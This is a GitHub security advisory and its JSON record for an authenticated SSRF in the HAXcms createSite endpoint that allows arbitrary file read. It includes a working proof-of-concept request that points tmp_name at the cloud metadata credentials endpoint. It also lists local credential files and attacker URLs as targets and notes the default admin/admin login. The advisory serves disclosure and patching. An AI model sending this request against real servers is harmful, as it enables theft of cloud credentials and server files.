GHSA-Q862-GCGQ-5M6G

Vulnerability from github – Published: 2026-05-19 14:44 – Updated: 2026-05-19 14:44
VLAI
Summary
HAXcms createSite SSRF Enables Arbitrary File Read
Details

Summary

An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.

Details

The createSite endpoint in HAXcms (v11.0.6) accepts a build.files parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using file_get_contents().

The data flow is as follows: - User input (build.files) is processed via object_to_array() into a PHP array
- Assigned to $filesToDownload in Operations.php (line 2626)
- Iterated over in Operations.php (line 2730), where each entry is passed to HAXCMSFile::save() with bulk-import enabled

In HAXCMSFile.php (line 30), the following occurs:

file_get_contents($upload['tmp_name']);

Here, tmp_name is attacker-controlled and may contain:

  • External URLs (http://attacker.com)
  • Internal services (http://127.0.0.1)
  • Cloud metadata endpoints (http://169.254.169.254)
  • Local file paths (/etc/passwd, /proc/self/environ)

The bulk-import flag bypasses is_uploaded_file() validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.

There are no restrictions on:

  • URL schemes (http, file, gopher, etc.)
  • Destination IP ranges (internal, loopback, metadata services)
  • Response content

All fetched content is written to:

sites/<sitename>/files/<filename>

and is accessible via the web.

PoC

Prerequisites:

  • Authenticated session (default credentials: admin/admin on fresh installs)
  • Valid JWT and CSRF token

Step 1: Log in and capture JWT + CSRF token

Step 2: Send crafted request:

POST /createSite HTTP/1.1
Host: target
Authorization: Bearer [JWT]
X-CSRF-Token: [TOKEN]
Content-Type: application/json

{
  "site": {
    "name": "poc"
  },
  "build": {
    "files": {
      "poc.txt": {
        "tmp_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
      }
    }
  }
}

Step 3: Retrieve response:

GET /sites/poc/files/poc.txt

The response will contain the fetched content (e.g., cloud credentials or internal service data).

Impact

  • SSRF enabling access to internal network services
  • Arbitrary file read via local filesystem paths
  • Cloud credential exposure through metadata endpoints
  • Data exfiltration via web-accessible file storage

Any authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 25.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@haxtheweb/haxcms-nodejs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46393"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T14:44:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary  \nAn authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.\n\n### Details  \nThe `createSite` endpoint in HAXcms (v11.0.6) accepts a `build.files` parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using `file_get_contents()`.\n\nThe data flow is as follows:\n- User input (`build.files`) is processed via `object_to_array()` into a PHP array  \n- Assigned to `$filesToDownload` in `Operations.php` (line 2626)  \n- Iterated over in `Operations.php` (line 2730), where each entry is passed to `HAXCMSFile::save()` with bulk-import enabled  \n\nIn `HAXCMSFile.php` (line 30), the following occurs:\n```php\nfile_get_contents($upload[\u0027tmp_name\u0027]);\n```\n\nHere, tmp_name is attacker-controlled and may contain:\n\n- External URLs (`http://attacker.com`)\n- Internal services (`http://127.0.0.1`)\n- Cloud metadata endpoints (`http://169.254.169.254`)\n- Local file paths (`/etc/passwd`, `/proc/self/environ`)\n\nThe bulk-import flag bypasses `is_uploaded_file()` validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.\n\nThere are no restrictions on:\n\n- URL schemes (`http`, `file`, `gopher`, etc.)\n- Destination IP ranges (internal, loopback, metadata services)\n- Response content\n\nAll fetched content is written to:\n```\nsites/\u003csitename\u003e/files/\u003cfilename\u003e\n```\nand is accessible via the web.\n\n### PoC\nPrerequisites:\n\n- Authenticated session (default credentials: `admin/admin` on fresh installs)\n- Valid JWT and CSRF token\n\nStep 1: Log in and capture JWT + CSRF token\n\nStep 2: Send crafted request:\n```\nPOST /createSite HTTP/1.1\nHost: target\nAuthorization: Bearer [JWT]\nX-CSRF-Token: [TOKEN]\nContent-Type: application/json\n\n{\n  \"site\": {\n    \"name\": \"poc\"\n  },\n  \"build\": {\n    \"files\": {\n      \"poc.txt\": {\n        \"tmp_name\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n      }\n    }\n  }\n}\n```\n\nStep 3: Retrieve response:\n```\nGET /sites/poc/files/poc.txt\n```\n\nThe response will contain the fetched content (e.g., cloud credentials or internal service data).\n\n### Impact\n\n- SSRF enabling access to internal network services\n- Arbitrary file read via local filesystem paths\n- Cloud credential exposure through metadata endpoints\n- Data exfiltration via web-accessible file storage\n\nAny authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.",
  "id": "GHSA-q862-gcgq-5m6g",
  "modified": "2026-05-19T14:44:20Z",
  "published": "2026-05-19T14:44:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/haxtheweb/issues/security/advisories/GHSA-q862-gcgq-5m6g"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/haxtheweb/issues"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "HAXcms createSite SSRF Enables Arbitrary File Read"
}


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